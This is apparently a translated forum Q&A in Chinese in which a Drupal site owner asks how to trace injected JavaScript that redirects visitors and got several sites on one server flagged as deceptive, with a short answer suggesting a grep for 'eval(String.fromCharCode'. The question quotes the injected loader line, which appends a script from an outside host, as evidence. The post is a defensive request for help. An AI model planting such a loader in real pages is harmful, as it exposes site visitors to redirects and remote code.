在服务器的所有 drupal 网站中注入(inject) Javascript

Question

从这几天开始，我的网站就遭到了恶意攻击。当我打开网站时 http://site1.com它首先会重定向到另一个页面(可能是广告页面)。

在 chrome 浏览器中，当我尝试通过控制台 (F12) 诊断问题时，我发现它向我显示了一个奇怪的错误。 “无法加载资源:net::ERR_NAME_NOT_RESOLVED”并且 url 是 - https://js.localstorage.tk/s.js?crt=new .在进一步调查中，我发现它会在该特定服务器上每个网站的每个页面加载时注入(inject)以下脚本。 (不是一个站点，而是 3-4 个站点在同一台服务器上受到相同攻击的感染)。

var z = document.createElement("script"); z.type = "text/javascript"; z.src = "https://js.localstorage.tk/s.js?crt=new"; document.head.appendChild(z);

我还尝试使用如下所示的各种“grep”命令在受感染网站的托管文件系统中找到此代码片段，但我找不到任何东西。

 grep -rwn /var/www/ -e 'js.localstorage.tk'
 grep -rwn /var/www/ -e 'var z'
 grep -rwn /var/www/ -e 'z.type'
 grep -rwn /var/www/ -e 'z.src'
 grep -rwn /var/www/ -e 'crt=new'

但没有恶意注入(inject)脚本的线索。数据库调查的结果相同。

当我在没有互联网的情况下通过 LAN 访问我的网站时，出现了一些奇怪的 URL 的相同错误:

GET https://js.localstorage.tk/s.js?crt=new net::ERR_NAME_NOT_RESOLVED debugger:///VM359:1

最糟糕的是，现在谷歌已将我的网站列入“危险”列表，并显示带有深红色背景的警告“前方有欺骗性网站”。

任何帮助...!!!

Answer 1

用这个命令查找代码

grep -rwn/var/www/-e 'eval(String.fromCharCode'